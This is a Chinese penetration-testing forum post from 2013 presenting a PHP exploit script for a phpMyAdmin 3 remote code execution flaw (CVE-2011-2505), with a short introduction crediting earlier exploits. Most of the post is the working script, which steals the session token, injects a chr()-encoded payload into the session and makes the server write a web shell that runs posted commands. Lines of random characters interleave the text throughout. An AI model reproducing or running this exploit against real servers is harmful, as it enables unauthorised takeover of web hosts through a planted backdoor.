中国网络渗透测试联盟
标题:
phpadmin3 remote code execute php版本exploit
[打印本页]
作者:
admin
时间:
2013-2-21 09:13
标题:
phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
8 Q+ w* }1 @2 Z% _& z4 q
5 h9 z6 |% y& e9 N7 f3 ~9 q
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
, u/ y! ~' A. Z0 i% x
8 E4 B5 J8 _* H. _) e( o2 k
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
$ @( P1 H$ o& \' g& p
一是session.auto_start = 1;
7 ]/ C! G2 I9 q) k7 a! x. u
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
3 T+ t4 _8 Z" ~- x/ y4 c/ {
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
% a8 R& t7 u! Y: P: E
4 k+ V) ^" z# N# l6 d" b0 D
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
/ {3 o$ z! w1 G7 ^( j
' u3 H% N+ S' ?7 |; c
于是写了这个php版本的exp,代码如下:
4 S- Q! D, U0 g3 @9 a+ g
- C& H& w7 |- q- T: U5 [
#!/usr/bin/php
( a5 E- R0 G: t& P, n6 n
<?php
* X8 r: Y7 T# \: }/ ~2 m2 f; S
print_r('
9 d4 X% B- S* c/ j& d- a! e4 F' i
+---------------------------------------------------------------------------+
. O. o$ |- h" `& d7 x
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
$ \% z0 I4 R( O# Z9 l' e
by oldjun(
www.oldjun.com
)
- O& S1 H k1 W+ L Y; C9 z1 @2 Q$ e
welcome to
www.t00ls.net
/ ]" f) h+ _2 }* j9 s
mail:
oldjun@gmail.com
/ U- g7 {' N+ j; Z
Assigned CVE id: CVE-2011-2505
8 Q4 A2 c5 U6 E. d
+---------------------------------------------------------------------------+
: t" R. x b( x0 G: E
');
& x7 S( c$ j# k! l/ E4 l0 f( A5 w
# O( n- N' K- j. G1 Q9 f
/**
# o# O1 J% R2 j0 t9 C& O* Y, ?3 K
* working when the directory:"config" exists and is writeable.
W6 O. N0 M: |" ?3 O. Y
**/
/ ^( N# K4 f9 b S
1 w M6 S. W3 o c
if ($argc < 3) {
5 @# M5 ]: c- L8 J
print_r('
- \3 W H1 o: K; j* v/ q `0 V; d: t
+---------------------------------------------------------------------------+
( I0 @ R9 i- I0 D
Usage: php '.$argv[0].' host path
* @( L& z8 f9 w3 s
host: target server (ip/hostname)
7 v6 ]+ i) t; m
path: path to pma3
( ~* P! |+ l1 C- n3 s7 Z- N& b
Example:
" \9 O0 r4 U# [- S
php '.$argv[0].' localhost /pma/
, l& c; @7 e2 g- m
+---------------------------------------------------------------------------+
4 R# c, o: Q6 r* W
');
0 w, `4 q( E- T; {" \/ w
exit;
1 }9 h; U$ c$ o: ]4 k4 C6 E
}
: S! M0 j3 m* s0 s8 P# \) q: O
7 q" w+ S: T0 h/ I0 e8 r" I0 E
$host = $argv[1];
6 H0 j _) F' ?8 t6 |3 P7 e% Y
$path = $argv[2];
2 I' Z" j/ {/ L" w2 H3 i9 ?" c
8 g5 [0 t. R( z
/**
# E" N( b- z2 a, u" s
* Try to determine if the directory:"config" exists
6 @' N! P& o* U9 V7 A6 u3 Y
**/
+ O0 v- J4 b8 Z( h7 w6 i N
echo "[+] Try to determine if the directory:config exists....\n";
3 u3 ]4 G; X) H& z5 b8 C
$returnstr=php_request('config/');
2 i* [ j$ k9 |; W2 X; v
if(strpos($returnstr,'404')){
& w; E) g$ M% Y1 n: z
exit("[-] Exploit Failed! The directory:config do not exists!\n");
9 O7 G$ {' K8 ?7 V5 y( m
}
3 f) n, F' n% U3 k' K7 L$ n
3 `4 `( `# C( S) o/ h
/**
/ d# u$ k" O1 ^/ |* x7 B
* Try to get token and sessionid
$ t# y$ w8 H& p9 O N+ p
**/
2 T) } \ ^, I
echo "[+] Try to get token and sessionid....\n";
# D( {$ ?; m. t! r8 }5 ~1 W, C- y
$result=php_request('index.php');
& t/ ]: j# b, ?' K$ X2 w
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
9 r) A& g! R; h2 }% ~ k M
$token=$resp[3];
2 M8 O8 B: w9 n: ?# k& h% L
$sessionid=$resp[1];
' C) S0 }+ y$ ^; ~1 e
if($token && $sessionid){
4 E+ P* z. |+ V
echo "[+] token
token\n";
' N: \# |% @% {* J* u/ ~
echo "[+] Session ID
sessionid\n";
. z4 G5 b9 ~ {" r( D
}else{
, Y6 j& J% K1 F- [
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
' E$ T+ e0 P* p
}
5 z+ X) ]- f$ n- G
) t% J% H" ]2 A( Z# k3 R
/**
k" Q; s/ M& R9 U! Q$ a0 w
* Try to insert shell into session
0 h4 ~( Z/ [# H5 Q
**/
; e5 @6 ^0 x6 r6 i
echo "[+] Try to insert shell into session....\n";
" o# ?/ v/ _- A( k. [
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
j) C4 c0 f1 Y' k
- p* N$ c4 `, q
/**
1 i, S1 M1 y4 O. I" q: p! w- a4 a
* Try to create webshell
: Z. `1 S3 V: ^2 u8 o& |
**/
v" j' ^! h' ?, ?
echo "[+] Try to create webshell....\n";
( t/ J& {/ T( p$ I/ I' j: j8 q
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
# p: B5 U4 Y* o9 |) v7 s
/**
6 w4 G5 A2 \' L5 s) z8 u# m& ~' d( G
* Try to check if the webshell was created successfully
7 G% F9 y6 J1 H" Z1 y% o$ i
**/
9 c* g2 k4 y, g2 V8 i1 K
echo "[+] Try to check if the webshell was created successfully....\n";
7 ?$ ?; e) ~$ E1 X0 a6 Q8 V L! Q
$content=php_request('config/config.inc.php');
: i1 Z3 O- q9 [& c" y, N
if(strpos($content,'t00ls')){
H) e. P! B! V2 w4 c2 t
echo "[+] Congratulations! Expoilt successfully....\n";
& z2 q6 }& t" a: }- ~
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
7 l3 T6 K3 z5 e6 _
}else{
& N) b6 D/ ?/ x8 a
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
5 X! N* l2 u# L+ ^: g5 y/ Q
}
& }/ J4 [% J" V, _2 ]% z
8 G% C" b; H/ D4 a
function php_request($url,$data='',$cookie=''){
5 H* D) o' h3 Z+ `, W
global $host, $path;
6 M1 ?( O% [# S/ A8 ?
( R2 A* v5 d2 m7 [% T
$method=$data?'POST':'GET';
1 k" f: S7 H0 X/ V1 s
9 M' V5 L3 U! n
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
( P3 C" G4 j( o( U4 w7 b% }4 Q
$packet .= "Accept: */*\r\n";
9 G) F6 s8 N6 T4 I( X6 o3 {
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
' L) ]& ~# b, _, A( z# O
$packet .= "Host: $host\r\n";
& l# q, }' [/ |& U
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
w2 d, K; F7 e. i8 {" P
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
: v% `( ]2 ~" |8 C
$packet .= $cookie?"Cookie: $cookie\r\n":"";
8 Q1 S- K! D7 I# B2 r" _
$packet .= "Connection: Close\r\n\r\n";
4 W3 n, g. E$ K& b9 B$ ~
$packet .= $data?$data:"";
9 B( h O8 l5 e
p0 p$ `# ^, U4 [8 e0 O- o
$fp = fsockopen(gethostbyname($host), 80);
& y( E" X9 P, H/ j) E3 x) G
if (!$fp) {
5 h: \9 o( _) R) I3 g
echo 'No response from '.$host; die;
% Y/ q# z7 t0 e; _
}
( A2 _' l$ Y! g4 y
fputs($fp, $packet);
* s( c3 z. @7 a/ y
- h9 S( A! L: ]( Z4 G
$resp = '';
$ s) Q+ n; U6 a) i1 ^
( R: ^6 b0 I1 D7 _) W
while ($fp && !feof($fp))
% H& R! l/ o# V
$resp .= fread($fp, 1024);
, M+ h S$ V# v8 ~
" C/ i6 C/ p2 A! U9 B% U7 ]
return $resp;
5 X1 F+ v! \1 s N
}
- |3 e7 Y8 Z6 N4 t2 n) d. D8 G- x
# @' T! o7 M; l7 _ w4 t F
?>
% r) c% ?9 T6 Q/ H4 s* K4 U
.
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2